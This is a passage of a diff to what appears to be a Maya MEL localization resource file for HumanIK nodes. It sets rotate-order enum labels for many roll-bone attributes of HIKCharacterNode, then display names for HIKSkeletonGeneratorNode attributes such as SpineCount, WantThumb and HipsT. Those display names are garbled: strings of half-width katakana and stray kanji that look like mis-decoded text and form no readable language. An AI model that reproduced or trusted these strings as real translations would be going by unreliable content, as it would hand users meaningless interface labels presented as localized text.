"LeafLeftUpLegRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll3RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll4RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftUpLegRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftLegRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightUpLegRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightLegRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftArmRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", 10, "zyx" ); +// +// Node: HIKSkeletonGeneratorNode +// +setNodeNiceNameResource( "HIKSkeletonGeneratorNode", "HIKSkeleton Generator スレオ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "SpineCount", "シケラオシニハ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NeckCount", "セアイソシニハ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ShoulderCount", "シ邊ソシニハ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantUpperArmRollBone", "ミ靨ェノマアロイ犹ケヌタ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantLowerArmRollBone", "ミ靨ェマツアロイ犹ケヌタ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantUpperLegRollBone", "ミ靨ェエヘネイ犹ケヌタ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantLowerLegRollBone", "ミ靨ェミ。ヘネイ犹ケヌタ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NbUpperArmRollBones", "ノマアロイ犹ケヌタハ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NbLowerArmRollBones", "マツアロイ犹ケヌタハ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NbUpperLegRollBones", "エヘネイ犹ケヌタハ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "NbLowerLegRollBones", "ミ。ヘネイ犹ケヌタハ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantIndexFinger", "ミ靨ェハウヨク" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantMiddleFinger", "ミ靨ェヨミヨク" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantRingFinger", "ミ靨ェボテヨク" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantPinkyFinger", "ミ靨ェミ。ヨク" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantThumb", "ミ靨ェトエヨク" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantExtraFinger", "ミ靨ェチヨク" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantFingerBase", "ミ靨ェヨクク" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantInHandJoint", "ミ靨ェハヨトレイ犹リスレ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "FingerJointCount", "ヨクケリスレシニハ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantIndexToe", "ミ靨ェカヨコ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantMiddleToe", "ミ靨ェヨミヨコ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantRingToe", "ミ靨ェヒトヨコ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantPinkyToe", "ミ靨ェミ。ヨコ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantBigToe", "ミ靨ェエヨコ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantFootThumb", "ミ靨ェスナエヨコ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantToeBase", "ミ靨ェヨコク" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantInFootJoint", "ミ靨ェスナトレイ犹リスレ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ToeJointCount", "スナヨコケリスレシニハ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "WantHipsTranslation", "ミ靨ェナイソニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "CharacterNode", "スヌノォスレオ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceT", "メモテニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceTx", "メモテニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceTy", "メモテニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceTz", "メモテニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceR", "メモテミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceRx", "メモテミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceRy", "メモテミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceRz", "メモテミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceS", "メモテヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceSx", "メモテヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceSy", "メモテヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "ReferenceSz", "メモテヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsT", "ナイソニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTx", "ナイソニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTy", "ナイソニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsTz", "ナイソニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsR", "ナイソミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsRx", "ナイソミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsRy", "ナイソミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsRz", "ナイソミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsS", "ナイソヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsSx", "ナイソヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsSy", "ナイソヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "HipsSz", "ナイソヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegT", "ラエヘネミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegTx", "ラエヘネミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegTy", "ラエヘネミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegTz", "ラエヘネミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegR", "ラエヘネニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRx", "ラエヘネニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRy", "ラエヘネニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegRz", "ラエヘネニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegS", "ラエヘネヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegSx", "ラエヘネヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegSy", "ラエヘネヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftUpLegSz", "ラエヘネヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegT", "ラヘネニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegTx", "ラヘネニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegTy", "ラヘネニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegTz", "ラヘネニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegR", "ラヘネミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRx", "ラヘネミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRy", "ラヘネミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegRz", "ラヘネミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegS", "ラヘネヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegSx", "ラヘネヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegSy", "ラヘネヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftLegSz", "ラヘネヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootT", "ラスナニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootTx", "ラスナニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootTy", "ラスナニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootTz", "ラスナニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootR", "ラスナミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRx", "ラスナミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRy", "ラスナミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootRz", "ラスナミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootS", "ラスナヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftFootSx", "ラスナヒキナx" ); 